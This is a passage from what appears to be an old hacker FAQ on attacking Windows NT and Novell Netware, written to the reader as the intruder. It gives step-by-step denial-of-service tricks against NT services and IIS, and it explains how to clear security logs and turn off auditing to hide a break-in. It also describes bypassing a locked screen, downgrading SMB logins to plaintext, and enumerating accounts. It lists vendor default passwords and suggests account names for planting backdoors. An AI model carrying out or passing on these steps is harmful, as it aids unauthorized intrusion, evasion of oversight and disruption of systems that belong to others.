  2236.   1122..11..  WWhhaatt ccaann tteellnneett ggiivvee mmee iinn tthhee wwaayy ooff ddeenniiaall ooff sseerrvviiccee??
  2237.  
  2238.   There are several DoS attacks involving a simple telnet client that
  2239.   can be used against an NT server.
  2240.  
  2241.   First, by telnetting to port 53, 135, or 1031, and then typing in
  2242.   about 10 or so characters and hitting enter will cause problems. If
  2243.   DNS (port 53) is running, DNS will stop. If 135 answers, the CPU
  2244.   utilization will increase to 100%, slowing performance.  And if port
  2245.   1031 is hit, IIS will get knocked down. Typically the fix is to reboot
  2246.   the server, as it will be hung or so slow as to render it useless.
  2247.  
  2248.   Telnetting to port 80 and typing "GET ../.." will also crash IIS.
  2249.  
  2250.   If the latest service pack is loaded the attack will not work.
  2251.  
  2252.  
  2253.   1122..22..  WWhhaatt ccaann II ddoo wwiitthh SSaammbbaa??
  2254.  
  2255.   Don't get me started ;-)
  2256.  
  2257.   As far as DoS, if you connect to a server with Samba to 3.X NT that
  2258.   does not have the latest service pack loaded, you can send it "DIR
  2259.   ..\" and crash it.
  2260.  
  2261.  
  2262.   1122..33..  WWhhaatt''ss wwiitthh RROOLLLLBBAACCKK..EEXXEE??
  2263.  
  2264.   If the file ROLLBACK.EXE is executed, the registry can be wiped. You
  2265.   must re-install or do a complete restore if this happens to you. Sys
  2266.   Admins will probably want to remove this file. Renamed, it makes for
  2267.   one hell of a nasty trojan.
  2268.  
  2269.   It is reportedly possible to lock onto a port, say like port 19, and
  2270.   when the server crashes and comes up ROLLBACK.EXE will start trying to
  2271.   unlock the port and subsequently opens up the registry for anyone to
  2272.   wipe it. I was unsuccessful in getting this to happen in the lab, but
  2273.   probably because I find DoS attacks rather lame I didn't try very hard
  2274.   to get it to work. But others claim it can happen, so keep it in mind.
  2275.  
  2276.  
  2277.   1122..44..  WWhhaatt iiss aann OOOOBB aattttaacckk??
  2278.  
  2279.   This attack is fairly simple, and a fair amount of source code is
  2280.   available. Basically it involves sending an out-of-band message to a
  2281.   Windows operating system. Typically port 139 is used. This was patched
  2282.   with SP3 and a Hot Fix but apparently with a little monkeying around
  2283.   with the code you can get around this.
  2284.  
  2285.   This DoS is very popular, mainly because of the wide variety of
  2286.   implementations of sockets. I've seen Unix and Windows NT versions of
  2287.   code, an implementation in Perl, and even an implementation using the
  2288.   Rexx Socket APIs on OS/2.
  2289.  
  2290.   If you are so inclined, try a web search for "winnuke" which will get
  2291.   you probably a thousand locations with the code.
  2292.  
  2293.  
  2294.   1122..55..  AArree tthheerree aannyy ootthheerr DDeenniiaall ooff SSeerrvviiccee aattttaacckkss??
  2295.  
  2296.   If a domain user logs onto the console, creates a file and removes its
  2297.   permissions, it is possible that another user can log onto the console
  2298.   and delete the file. The problem affects all versions of NT. However,
  2299.   this isn't what I'd consider "Denial of Service" as it is more like
  2300.   denial of a file. Depending on the file, though, it could be used as
  2301.   DoS.
  2302.  
  2303.   If you are running smbmount with version 2.0.25 of Linux, you can
  2304.   crash an NT server.  smbmount is intended to be run on Linux 2.0.28 or
  2305.   higher, so it doesn't work right on 2.0.25. You also need a legit user
  2306.   account. Running as root, type smbmount //target/service /mnt -U
  2307.   client_name, followed by ls /mnt will hang the shell on Linux (no
  2308.   biggie) and blue screen the target server (biggie).
  2309.  
  2310.  
  2311.   The final DoS I'm aware of involves Microsoft's DNS on NT 4.0 server.
  2312.   If you send it a DNS response when it did not make a query, DNS will
  2313.   crash.
  2314.  
  2315.   The latest service packs and post service pack patches fix all of
  2316.   these problems.
  2317.  
  2318.  
  2319.  
  2320.   1133..  NNTT LLooggggiinngg aanndd BBaacckkddoooorrss
  2321.  
  2322.   This section contains info regarding logging and backdoors for NT.
  2323.  
  2324.  
  2325.   1133..11..  WWhheerree aarree tthhee ccoommmmoonn lloogg ffiilleess iinn NNTT??
  2326.  
  2327.   These are located in %root%\SYSTEM32\CONFIG. They are:
  2328.  
  2329.  
  2330.   +o  AppEvent.Evt - Records events involving the running of certain
  2331.      applications.
  2332.  
  2333.   +o  SecEvent.Evt - Records security events.
  2334.  
  2335.   +o  SysEvent.Evt - Records basic events.
  2336.  
  2337.   As a hacker do not worry about the AppEvent.Evt file much -- you are
  2338.   mainly concerned with items in the regular event log (the SysEvent.Evt
  2339.   file) and the security log (the SecEvent.Evt). By default regular
  2340.   users should be able to read the regular event log, and you may wish
  2341.   to look that over if you can to see if your "visit" left a trace. If
  2342.   it did and the entries look out of place, consider adding entries from
  2343.   other users that are similiar by accessing the system as these other
  2344.   users.
  2345.  
  2346.   You have to have Administrative Group rights to view the security
  2347.   event log.  And you'll certainly want to check that to see what is in
  2348.   it.
  2349.  
  2350.  
  2351.   1133..22..  HHooww ddoo II eeddiitt//cchhaannggee NNTT lloogg ffiilleess wwiitthhoouutt bbeeiinngg ddeetteecctteedd??
  2352.  
  2353.   Well this can be a little tricky as these files are locked in place
  2354.   during NT's operation. You have a couple of choices at this time --
  2355.   wipe the logs or try to add stuff to them to add camoflage
  2356.   obfuscation. Not elegant, but better than nothing.
  2357.  
  2358.  
  2359.   1133..33..  SSoo hhooww ccaann II vviieeww//cclleeaarr//eeddiitt tthhee SSeeccuurriittyy LLoogg??
  2360.  
  2361.   You have to be in as an Administrator or as someone in the
  2362.   Administrator's group.
  2363.  
  2364.   Start the Event Viewer, and from the Log menu select Security. You
  2365.   view individual items by double clicking on them. To clear them (which
  2366.   is an all or nothing proposition) select Clear All Events from Log. If
  2367.   asked to save the info, answer no.
  2368.  
  2369.   There is currently no way to edit the contents of the Security Event
  2370.   Log, although it is not impossible. One could conceivably boot up the
  2371.   system with Linx on a floppy, copy the logs off for editing in a hex
  2372.   editor, and copy doctored logs back up. I've considered writing the
  2373.   software to do this, although I probably never will.
  2374.  
  2375.  
  2376.  
  2377.   1133..44..  HHooww ccaann II ttuurrnn ooffff aauuddiittiinngg iinn NNTT??
  2378.  
  2379.   This requires Administrator access. From the User Manager go to the
  2380.   Policies menu and select Audit. Turn off the things you wish to turn
  2381.   off.
  2382.  
  2383.   As far as individual files and directories, you have to right-click on
  2384.   the file or directory from within Explorer, go to Properties and go to
  2385.   the security tab. Click on the auditing button for details, and turn
  2386.   off what you need turned off.
  2387.  
  2388.   If you need to do this from a command line, check out the question "I
  2389.   hack from my Linux box. How can I do all that GUI stuff on remote NT
  2390.   servers?" in the NT Client Attacks section.
  2391.  
  2392.  
  2393.  
  2394.   1144..  NNTT MMiisscc.. AAttttaacckk IInnffoo
  2395.  
  2396.   This section has miscellaneous information regarding hacking and NT.
  2397.  
  2398.  
  2399.   1144..11..  HHooww iiss ffiillee aanndd ddiirreeccttoorryy sseeccuurriittyy eennffoorrcceedd??
  2400.  
  2401.   Since files and directories are considered objects (same as services),
  2402.   the security is managed at an "object" level.
  2403.  
  2404.   An access-control list (ACL) contains information that controls access
  2405.   to an object or controls auditing of attempts to access an object. It
  2406.   begins with a header contains information pertaining to the entire
  2407.   ACL, including the revision level, the size of the ACL, and the number
  2408.   of access-control entries (ACEs) in the list.
  2409.  
  2410.   After the header is a list of ACEs. Each ACE specifies a trustee, a
  2411.   set of access rights, and flags that dictate whether the access rights
  2412.   are allowed, denied, or audited for the trustee. A trustee can be a
  2413.   user account, group account, or a logon account for a service program.
  2414.  
  2415.   A security descriptor can contain two types of ACLs: a discretionary
  2416.   ACL (DACL) and a system ACL (SACL).
  2417.  
  2418.   In a DACL, each ACE specifies the types of access that are allowed or
  2419.   denied for a specified trustee. An object's owner controls the
  2420.   information in the object's DACL.  For example, the owner of a file
  2421.   can use a DACL to control which users can have access to the file, and
  2422.   which users are denied access.
  2423.  
  2424.   If the security descriptor for an object does not have a DACL, the
  2425.   object is not protected and the system allows all attempts to access
  2426.   the object. However, if an object has a DACL that contains no ACEs,
  2427.   the DACL does not grant any access rights. In this case, the system
  2428.   denies all attempts to access the object.
  2429.  
  2430.   In a SACL, each ACE specifies the types of access attempts by a
  2431.   specified trustee that cause the system to generate audit records in
  2432.   the system event log. A system administrator controls the information
  2433.   in the object's SACL. An ACE in a SACL can generate audit records when
  2434.   an access attempt fails, when it succeeds, or both.
  2435.  
  2436.   To keep track of the individual object, a Security Identifier (SID)
  2437.   uniquely identify a user or a group.
  2438.  
  2439.   A SID contains:
  2440.  
  2441.  
  2442.  
  2443.   +o  User and group security descriptors
  2444.  
  2445.   +o  48-bit ID authority
  2446.  
  2447.   +o  Revision level
  2448.  
  2449.   +o  Variable subauthority values
  2450.  
  2451.   A privilege is used to control access to a service or object more
  2452.   strictly than is normal with discretionary access control. Privileges
  2453.   provide access to services rarely needed by most users. For example,
  2454.   one type of privilege might give access for backups and restorals,
  2455.   another might allow the system time to be changed.
  2456.  
  2457.  
  2458.   1144..22..  WWhhaatt iiss NNTTFFSS??
  2459.  
  2460.   NTFS is the Windows NT special file system. This file system is
  2461.   tightly integrated into Windows security -- it is what allows access
  2462.   levels to be set from the directory down to individual files within a
  2463.   directory.
  2464.  
  2465.  
  2466.   1144..33..  AArree tthheerree aarree vvuullnneerraabbiilliittiieess ttoo NNTTFFSS aanndd aacccceessss ccoonnttrroollss??
  2467.  
  2468.   Not so much vulnerabilities as there are quirks -- quirks that can be
  2469.   exploited to a certain degree.
  2470.  
  2471.   For example, let's say the system admin has built a home directory for
  2472.   you on the server, but has disallowed the construction of directories
  2473.   or files that you wish to make available to the group Everyone. You
  2474.   are wanting to make this special directory so that you can easily
  2475.   retrieve some hack tools but you are cut off. However, if the sys
  2476.   admin left you as the owner of the home directory, you can go in and
  2477.   alter its permissions. This is because as long as you are the owner or
  2478.   Administrator you still control the file. Oh sure, you may get a few
  2479.   complaints from the system when you are doing it, but it can be done.
  2480.  
  2481.   Since NTFS has security integrated into it, there are not too many
  2482.   ways around it. The main one requires access to the physical system.
  2483.   Boot up the system on a DOS diskette, and use NTFSDOS.EXE. It will
  2484.   allow you to access an NTFS volume bypassing security.
  2485.  
  2486.   The last quirk is that if you have a directory with Full Control
  2487.   instead of RWXDPO permissions, then you get a hidden permission called
  2488.   File Delete Child. FDC cannot be removed. This means that all members
  2489.   of the group Everyone can delete any read-only file in the directory.
  2490.   Depending on what the directory contains, a hacker can replace a file
  2491.   with a trojan.
  2492.  
  2493.  
  2494.   1144..44..  WWhhaatt iiss SSaammbbaa aanndd wwhhyy iiss iitt iimmppoorrttaanntt??
  2495.  
  2496.   Samba is a freeware app developed by Andy Tridgell. It is a great tool
  2497.   for helping integrate Unix into Microsoft Windows and Lan Manager
  2498.   environments. The main idea is that you can, with Samba, allow a Unix
  2499.   machine to access file and directories. The other handy thing about
  2500.   Samba is that like most Unix freeware you get the source code.
  2501.  
  2502.   Most hackers seem to have Linux up and running, so loading up Samba
  2503.   allows you several tactical advantages. A number of the exploits
  2504.   described here require access to a privileged port (< 1024). If you
  2505.   are root on your own Linux box, you can start exploits from those
  2506.   needed ports. A lot of the tests in the NMRC lab were conducted using
  2507.   Samba.  In fact when World Star Holdings Ltd in Canada had their lame
  2508.   Cybertest '96 contest on June 12th, yours truly used Samba to break in
  2509.   (but I wasn't first).
  2510.  
  2511.   Samba talks SMB and can directly access Windows NT hardware, and
  2512.   Hobbit (hobbit@avian.org) has put together a very interesting paper
  2513.   entitled "CIFS: Common Insecurities Fail Scrutiny". It is highly
  2514.   recommended reading for admins and hackers alike. Included in the
  2515.   paper are details and source patches to allow easier attacking on NT.
  2516.  
  2517.   Studying the source code of Samba taught me a lot, but Hobbit's paper
  2518.   puts everything in a whole new light. It provides some well documented
  2519.   basics on how a lot of the communications work, detailing exactly WHY
  2520.   certain protocols and behaviours are vulnerable to abuse.
  2521.  
  2522.   Get Samba and read its documentation. Read Hobbit's paper and apply
  2523.   the patches. Period.
  2524.  
  2525.  
  2526.   1144..55..  HHooww ddoo II bbyyppaassss tthhee ssccrreeeenn ssaavveerr??
  2527.  
  2528.   If a user has locked their local workstation using CTRL+ALT+DEL, and
  2529.   you can log in as an administrator, you will have a window of a few
  2530.   seconds where you will see the user's desktop, and even manipulate
  2531.   things. This trick works on NT 3.5 and 3.51, unless the latest service
  2532.   pack has been loaded.
  2533.  
  2534.   If the service pack has been loaded, but it's still 3.X, try the
  2535.   following.
  2536.  
  2537.  
  2538.   +o  From another NT workstation, type shutdown \\ /t:30
  2539.  
  2540.   +o  This will start a 30 second shutdown on the target and a Security
  2541.      window will pop up.
  2542.  
  2543.   +o  Cancel the shutdown with shutdown \\ /a
  2544.  
  2545.   +o  The screen saver will kick back in.
  2546.  
  2547.   +o  Wiggle the mouse on the target. The screen will go blank.
  2548.  
  2549.   +o  Now do a ctrl-alt-del on the target.
  2550.  
  2551.   +o  An NT Security window will appear. Select cancel.
  2552.  
  2553.   +o  You are now at the Program Manager.
  2554.  
  2555.  
  2556.   1144..66..  HHooww ccaann II ddeetteecctt tthhaatt aa mmaacchhiinnee iiss iinn ffaacctt NNTT oonn tthhee nneettwwoorrkk??
  2557.  
  2558.   Hopefully it is a web server, and they've simply stated proudly "we're
  2559.   running NT", but don't expect that...
  2560.  
  2561.   Port scanning will find some. Typically you'll see port 135 open. This
  2562.   is no guarantee it's not Windows 95, however. Using Samba you should
  2563.   be able to connect and query for the existence of
  2564.   HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT and then check
  2565.   \CurrentVersion\CurrentVersion to determine the version running. If
  2566.   guest is enabled, try this first as Everyone has read permissions here
  2567.   by default.
  2568.  
  2569.   Port 137 is used for running NetBios over IP, and since in the Windows
  2570.   world NetBios is used, certainly you can expect port 137 to be open if
  2571.   IP is anywhere in use around NT.
  2572.  
  2573.   Another possible indication is checking for port 139. This tells you
  2574.   your target is advertising an SMB resource to share info, but it could
  2575.   be any number of things, such as a Windows 95 machine or even Windows
  2576.   for Workgroups. These may not be entirely out of the question as
  2577.   potential targets, but if you are after NT you will have to use a
  2578.   combination of the aforementioned techniques coupled with some common
  2579.   sense.
  2580.  
  2581.   To simplify this entire process, Secure Networks Inc. has a freeware
  2582.   utility called NetBios Auditing Tool. This tool's intent is to test
  2583.   NetBios file sharing configurations and passwords on remote systems.
  2584.   It is discussed more in detail in the ``NT Client Attack'' section.
  2585.  
  2586.  
  2587.   1144..77..  CCaann II ddoo oonn--tthhee--ffllyy ddiisskk eennccrryyppttiioonn oonn NNTT??
  2588.  
  2589.   Try Shade. It allows you to create an encrypted disk device inside a
  2590.   file. This "device" can then be formatted using either NTFS or FAT and
  2591.   used as a regular disk. Shade encrypts on every write operation and
  2592.   decrypts on every read operation to this new device.
  2593.  
  2594.   Look for Shade at: http://softwinter.bitbucket.co.il/shade.html
  2595.   <http://softwinter.bitbucket.co.il/shade.html>
  2596.  
  2597.  
  2598.   1144..88..  DDooeess tthhee FFTTPP sseerrvviiccee aallllooww ppaassssiivvee ccoonnnneeccttiioonnss??
  2599.  
  2600.   I was playing around in the registry, looking for odd things, and
  2601.   found this strange entry under
  2602.   System\CurrentControlSet\Services\MSFTPSVC\Parameters:
  2603.  
  2604.  
  2605.       EnablePortAttack: REG_DWORD:
  2606.  
  2607.  
  2608.  
  2609.   If set to 1, you can do passive connections depending on the TCP port
  2610.   you use. A passive connection is where you can connect to FTP site
  2611.   alice.com, and from there connect to site bob.com. It is used by
  2612.   hackers because any odd connections at bob.com will appear in logs as
  2613.   coming from alice.com. Most typical is a port scan.
  2614.  
  2615.   A port scanner for doing this from a Unix box can be found at
  2616.   http://www.nmrc.org/files/unix/ftp-scan.c
  2617.   <http://www.nmrc.org/files/unix/ftp-scan.c>
  2618.  
  2619.  
  2620.   1144..99..  WWhhaatt iiss tthhiiss ""ppoorrtt ssccaannnniinngg"" yyoouu aarree ttaallkkiinngg aabboouutt??
  2621.  
  2622.   Port scanning is a technique to check TCP/IP ports to see what
  2623.   services are available.  For example port 80 is typically a web
  2624.   server, port 25 is SMTP used by Internet mail and so on. By scanning
  2625.   and seeing what TCP/IP ports are listening at the end of a TCP/IP
  2626.   address, you can get an idea as to what type of box the target might
  2627.   be, what services are available, and possibly plan an attack if you
  2628.   are aware of an exploit involving a particular service.
  2629.  
  2630.   If port 135, 137, 138, and 139 are open on the target of a scan, it is
  2631.   quite possible that the target is NT (although it could be Win95 or
  2632.   even WFW 3.11, see the questions and answers above).
  2633.  
  2634.  
  2635.   1144..1100..  DDooeess NNTT hhaavvee bbuuggss lliikkee UUnniixx'' sseennddmmaaiill??
  2636.  
  2637.   If the server is running a POP3 server like Exchange, you can use a
  2638.   brute force technique to guess passwords. Odds are that the sys admin
  2639.   is not logging or looking at logs for this stuff. In particular, if
  2640.   you are dealing with a sys admin that isn't used to the wild and wooly
  2641.   Unix world, it may not even occur to the admin to look. This is
  2642.   something that NT folks are just now having to face, whereas their
  2643.   Unix admin counterparts have had to maintain this level of scrutiny
  2644.   for a while.
  2645.  
  2646.  
  2647.   1144..1111..  HHooww iiss ppaasssswwoorrdd cchhaannggiinngg rreellaatteedd ttoo ""llaasstt llooggiinn ttiimmee""??
  2648.  
  2649.   Let's say an admin is checking the last time certain users have logged
  2650.   in by doing a NET USER /DOMAIN. Is the info accurate? Most of the time
  2651.   it will NOT be.
  2652.  
  2653.   Most users do not login directly to the Primary Domain Controller
  2654.   (PDC), they login to a Backup Domain Controller (BDC). BDCs do NOT
  2655.   contain readonly versions of SAM, they contain read-write versions. To
  2656.   keep the already ungodly amount of network traffic down, BDCs do not
  2657.   tell the PDC that they have an update of the last login time until a
  2658.   password change has been done. And the NET USER /DOMAIN command checks
  2659.   the PDC, so last login time returned from this command could be wildly
  2660.   off (it could even show NEVER).
  2661.  
  2662.   As a hacker, if you happen to know that password aging is not
  2663.   enforced, then you can bet that last login times will probably not be
  2664.   very accurate
  2665.  
  2666.  
  2667.   1144..1122..  CCaann sseessssiioonnss bbee hhiijjaacckkeedd??
  2668.  
  2669.   In theory, however no one has yet coded the exploit. It would involve
  2670.   a complex spoofing job where not only would the session have to be
  2671.   hijacked at the transport level (getting all of the ACK/NACK numbering
  2672.   correct), but the tree ID (TID) and user ID (UID) would have to be
  2673.   spoofed at the redirector and server level respectively. We are
  2674.   talking SMB at this point.
  2675.  
  2676.   A more likely session to be hijacked would be a telnet session to an
  2677.   NT server, but this applies to any straight telnet session, NT or not,
  2678.   and is beyond the scope of this question. For more information refer
  2679.   to http://www.nmrc.org/files/unix/ip-exploit.txt..
  2680.  
  2681.  
  2682.   1144..1133..  AArree ""mmaann iinn tthhee mmiiddddllee"" aattttaacckkss ppoossssiibbllee??
  2683.  
  2684.   Ealry versions of LANMAN send the password in the clear -- which is
  2685.   definately sniffer-bait. But the challenge/response authentication
  2686.   used by LANMAN 2.1 and earlier is subject to possible attack -- namely
  2687.   a plaintext attack. Since the challenge is plaintext, an attacker can
  2688.   acquire known plaintext/ciphertext pairs. Offline, the attacker can
  2689.   then test a guess at a password by using it to generate a key,
  2690.   encrypting the plaintext, and comparing it to the corresponding
  2691.   ciphertext. If it matches, the password is compromised.
  2692.  
  2693.   Since case doesn't matter, a brute force attack is theoretically
  2694.   possible against plaintext/ciphertext pair obtained via a known
  2695.   plaintext attack.
  2696.  
  2697.   However, this is simply offline attacking. A true man-in-the-middle
  2698.   attack allows a third party to intercept and replace components of the
  2699.   challenge/response conversation with their own, acquiring the password
  2700.   or even taking over the session itself. However, the easier of the two
  2701.   is getting the password.
  2702.  
  2703.   By catching the start of a conversation and forging the challenge, the
  2704.   client would response with the response to the server, and the
  2705.   attacker would know a part of the equation, shortening the time and
  2706.   effort needed to break the plaintext/ciphertext pair.
  2707.   By "precompiling" a list of response/password pairs, the password
  2708.   could be determined even quicker.
  2709.  
  2710.   NT LM 0.12 uses MD4 to generate keying material, and since upper and
  2711.   lower case are allowed, the full 56 bits allowed by DES can be used.
  2712.   This does not eliminate the problem -- it simply increases the
  2713.   difficulty of brute force against a plaintext/ciphertext pair.
  2714.  
  2715.   However this does nothing towards a realtime attack. The best method
  2716.   would be as follows:
  2717.  
  2718.  
  2719.   +o  Client starts a session.
  2720.  
  2721.   +o  Attacker sees this session, and waits for the response from the
  2722.      server.
  2723.  
  2724.   +o  Server sends the response and the Attacker grabs it.
  2725.  
  2726.   +o  Attacker removes the SMB_COM_NEGPROT bit and sends it to the
  2727.      Client.
  2728.  
  2729.   +o  Client receives the Attacker's packet, and now assumes a plaintext
  2730.      password should be used.
  2731.  
  2732.   +o  Client receives the real packet from the server, but ignores it
  2733.      thinking it is a dupe.
  2734.  
  2735.   +o  Client sends the password in plaintext.
  2736.  
  2737.   +o  Attacker grabs the password and now logs into the Server directly.
  2738.  
  2739.   +o  Client times out or gets an error, and figures a network error has
  2740.      occurred. Client tries to log in again.
  2741.  
  2742.   It is also possible in theory to catch the session before the
  2743.   authentication process even starts. For example:
  2744.  
  2745.  
  2746.   +o  Client starts a session, and sends a request to the DNS server to
  2747.      resolve a host name.
  2748.  
  2749.   +o  Attacker sees this request, and forges a reply that the Attacker's
  2750.      IP address is the address for the host the Client is requesting.
  2751.  
  2752.   +o  Attacker sends request to DNS server cancelling Client's request.
  2753.  
  2754.   +o  Client starts to log into Attacker.
  2755.  
  2756.   +o  Attacker tells Client to send the password as plaintext.
  2757.  
  2758.   +o  Client complies, and Attacker proceeds to login to original host
  2759.      that the Client was asking the DNS server about.
  2760.  
  2761.   +o  Attacker kills the session with the Client, and the Client thinks
  2762.      an error has occurred, and tries again.
  2763.  
  2764.   This attack has been partially implemented with the c2myazz file,
  2765.   which forces a plaintext login.
  2766.  
  2767.  
  2768.   1144..1144..  WWhhaatt aabboouutt TTCCPP SSeeqquueennccee NNuummbbeerr PPrreeddiiccttiioonn??
  2769.  
  2770.   This is possible, but unlikely, on anything requiring the TID and UID
  2771.   as a part of the spoof. TCP Sequence Number Prediction involves
  2772.   guessing what the TCP numbering sequence is, and inserting packets to
  2773.   (typically) execute commands on the target host with the proper
  2774.   sequence number.
  2775.  
  2776.  
  2777.   1144..1155..  WWhhaatt''ss tthhee ssttoorryy wwiitthh bbuuffffeerr oovveerrfflloowwss oonn NNTT??
  2778.  
  2779.   Dildog has written the definative paper on the subject. Check out "The
  2780.   Tao of Windows Buffer Overflow" at http://www.cultdeadcow.com/cDc-351/
  2781.   <http://www.cultdeadcow.com/cDc-351/> for a complete picture of buffer
  2782.   overflows, how they work, and how to code your own exploits for
  2783.   Microsoft operating systems.
  2784.  
  2785.  
  2786.  
  2787.   1155..  NNeettwwaarree BBaassiiccss
  2788.  
  2789.   The following section covers the basics regarding Netware security.
  2790.  
  2791.  
  2792.   1155..11..
  2793.  
  2794.  
  2795.  
  2796.  
  2797.  
  2798.  
  2799.   1166..  NNeettwwaarree AAccccoouunnttss
  2800.  
  2801.   The following section deals with Accounts on Netware systems.
  2802.  
  2803.  
  2804.   1166..11..  WWhhaatt aarree ccoommmmoonn aaccccoouunnttss aanndd ppaasssswwoorrddss ffoorr NNeettwwaarree??
  2805.  
  2806.   Out of the box Novell Netware has the following default accounts -
  2807.   SUPERVISOR, GUEST, and Netware 4.x has ADMIN and USER_TEMPLATE as
  2808.   well. All of these have no password to start with. Virtually every
  2809.   installer quickly gives SUPERVISOR and ADMIN a password. However, many
  2810.   locations will create special purpose accounts that have easy-to-guess
  2811.   names, some with no passwords. Here are a few and their typical
  2812.   purposes:
  2813.  
  2814.  
  2815.  
  2816.  
  2817.  
  2818.  
  2819.  
  2820.  
  2821.  
  2822.  
  2823.  
  2824.  
  2825.  
  2826.  
  2827.  
  2828.  
  2829.  
  2830.  
  2831.  
  2832.  
  2833.  
  2834.  
  2835.  
  2836.  
  2837.  
  2838.  
  2839.           Account         Purpose
  2840.           ----------      ------------------------------------------------------
  2841.           PRINT           Attaching to a second server for printing
  2842.           LASER           Attaching to a second server for printing
  2843.           HPLASER         Attaching to a second server for printing
  2844.           PRINTER         Attaching to a second server for printing
  2845.           LASERWRITER     Attaching to a second server for printing
  2846.           POST            Attaching to a second server for email
  2847.           MAIL            Attaching to a second server for email
  2848.           GATEWAY         Attaching a gateway machine to the server
  2849.           GATE            Attaching a gateway machine to the server
  2850.           ROUTER          Attaching an email router to the server
  2851.           BACKUP          May have password/station restrictions (see below), used
  2852.                           for backing up the server to a tape unit attached to a
  2853.                           workstation. For complete backups, Supervisor equivalence
  2854.                           is required.
  2855.           WANGTEK         See BACKUP
  2856.           FAX             Attaching a dedicated fax modem unit to the network
  2857.           FAXUSER         Attaching a dedicated fax modem unit to the network
  2858.           FAXWORKS        Attaching a dedicated fax modem unit to the network
  2859.           TEST            A test user account for temp use
  2860.           ARCHIVIST       Palidrome default account for backup
  2861.           CHEY_ARCHSVR    An account for Arcserve to login to the server from
  2862.                           from the console for tape backup. Version 5.01g's
  2863.                           password was WONDERLAND. Delete the Station
  2864.                           Restrictions and use SUPER.EXE to toggle this
  2865.                           account and you have an excellent backdoor.
  2866.           WINDOWS_PASSTHRU Although not required, per the Microsoft Win95
  2867.                           Resource Kit, Ch. 9 pg. 292 and Ch. 11 pg. 401 you
  2868.                           need this for resource sharing without a password.
  2869.           ROOT            Found on Shiva LanRovers, gets you the command-line
  2870.                           equiv of the AdminGUI. By default, no password. A lot
  2871.                           admins just use the AdminGUI and never set up a
  2872.                           password.
  2873.  
  2874.  
  2875.  
  2876.   VARs (Value Added Resellers) repackage Netware with their own hardware
  2877.   or with custom software. Here is a short list of known passwords:
  2878.  
  2879.  
  2880.           VAR      Account     Password  Purpose
  2881.           -------  ----------  --------  -------------------------------------------
  2882.           STIN     SUPERVISOR  SYSTEM    Travel agency running SABRE
  2883.           STIN     SABRE       -none-    Like a guest account
  2884.           STIN     WINSABRE    WINSABRE  Windows guest account for NW 2.15c
  2885.           STIN     WINSABRE    SABRE     Windows guest account for NW 3.x
  2886.           HARRIS   SUPERVISOR  HARRIS    Tricord reseller, ships NW preinstalled
  2887.           NETFRAME SUPERVISOR  NF        Also NETFRAME and NFI
  2888.           NETFRAME             aaa       New installation default password
  2889.  
  2890.  
  2891.  
  2892.   This should give you an idea of accounts to try if you have access to
  2893.   a machine that attaches to the server. A way to "hide" yourself is to
  2894.   give GUEST or USER_TEMPLATE a password. Occassionally admins will
  2895.   check up on GUEST, but most forget about USER_TEMPLATE. In fact, _I
  2896.   forgot about USER_TEMPLATE until itsme reminded me.
  2897.  
  2898.   This list is also a good starting point for account names for
  2899.   "backdoors". In some environments these account names will be left
  2900.   alone, particularly in large companies, especially Netware 4.x sites
  2901.   with huge trees. And don't forget account names like Alt-255 or NOT-
  2902.   LOGGED-IN.
  2903.  
  2904.  
  2905.   1166..22..  HHooww ccaann II ffiigguurree oouutt vvaalliidd aaccccoouunntt nnaammeess oonn NNeettwwaarree??
  2906.  
  2907.  
  2908.   Any limited account should have enough access to allow you to run
  2909.   SYSCON, located in the SYS:PUBLIC directory. If you get in, type
  2910.   SYSCON and enter. Now go to User Information and you will see a list
  2911.   of all defined accounts. You will not get much info with a limited
  2912.   account, but you can get the account and the user's full name.
  2913.  
  2914.   If your in with any valid account, you can run USERLST.EXE and get a
  2915.   list of all valid account names on the server.
  2916.  
  2917.   If you don't have access (maybe the sys admin deleted the GUEST
  2918.   account, a fairly common practice), you can't just try any account
  2919.   name at the LOGIN prompt. It will ask you for a password whether the
  2920.   account name is valid or not, and if it is valid and you guees the
  2921.   wrong password, you could be letting the world know what you're up to
  2922.   if Intruder Detection is on. But there is a way to determine if an
  2923.   account is valid.
  2924.  
  2925.   From a DOS prompt use a local copy (on your handy floppy you carry
  2926.   everywhere) of MAP.EXE. After you've loaded the Netware TSRs up
  2927.   through NETX or VLM, Try to map a drive using the server name and
  2928.   volume SYS:. For example:
  2929.  
  2930.  
  2931.           MAP G:=TARGET_SERVER/SYS:APPS
  2932.  
  2933.  
  2934.  
  2935.   Since you are not logged in, you will be prompted for a login ID. If
  2936.   it is a valid ID, you will be prompted for a password. If not, you
  2937.   will immediately receive an error. Of course, if there is no password
  2938.   for the ID you use you will be attached and mapped to the server. You
  2939.   can do the same thing with ATTACH.EXE:
  2940.  
  2941.  
  2942.           ATTACH TARGET_SERVER/loginidtotry
  2943.  
  2944.  
  2945.  
  2946.   The same thing will happen as the MAP command. If valid, you will be
  2947.   prompted for a password. If not, you get an error.
  2948.  
  2949.   Another program to check for valid users and the presence of a
  2950.   password is CHKNULL.EXE by itsme. This program checks for users and
  2951.   whether they have a password assigned.
  2952.  
  2953.   In 4.1 CHKNULL shows you every account with no password and you do not
  2954.   have to be logged in. For this to work bindery emulation must be on.
  2955.   But there is another way to get them in 4.1:
  2956.  
  2957.   Once you load up the VLMs you may be able to view the entire tree, or
  2958.   at least all of the tree you could see if logged in. Try this:
  2959.  
  2960.  
  2961.           CX /T /A /R
  2962.  
  2963.  
  2964.  
  2965.  
  2966.  
  2967.   During the installation of 4.1, [Public] has browse access to the
  2968.   entire tree because [Public] is added to [Root] as a Trustee. The
  2969.   Inherited Rights Filter flows this stuff down unless explicitly
  2970.   blocked. If you have the VLMs loaded and access to CX, you don't even
  2971.   have to log in, and you can get the name of virtually every account on
  2972.   the server.
  2973.  
  2974.   If CX /T /A /R works, then NLIST USER /D will yield a massive amount
  2975.   of information, including who belongs to what groups, and their object
  2976.   ID. By combining the information between these two along with other
  2977.   NLIST options, you can learn a lot about an NDS tree and a server.
  2978.   Here a few more that come in handy:
  2979.  
  2980.  
  2981.           NLIST GROUPS /D       -List of groups, descriptions, and members.
  2982.           NLIST SERVER /D       -List of servers, versions, if attached you can determine if accounting is installed.
  2983.           NLIST /OT=* /DYN /D   -List of all readable objects, including dynamic objects, names of NDS trees, etc.
  2984.  
  2985.  
  2986.  
  2987.   Between using CHKNULL, CX, and NLIST an intruder could not only learn
  2988.   who is in what group and who has access to what, but certainly could
  2989.   learn who the administrators are, and specifically select accounts for
  2990.   attack.
  2991.  
  2992.   Finally, consider using the Intruder utility from NMRC's Pandora v3.0.
  2993.   This utility has a mode that allows you to give it a list of potential
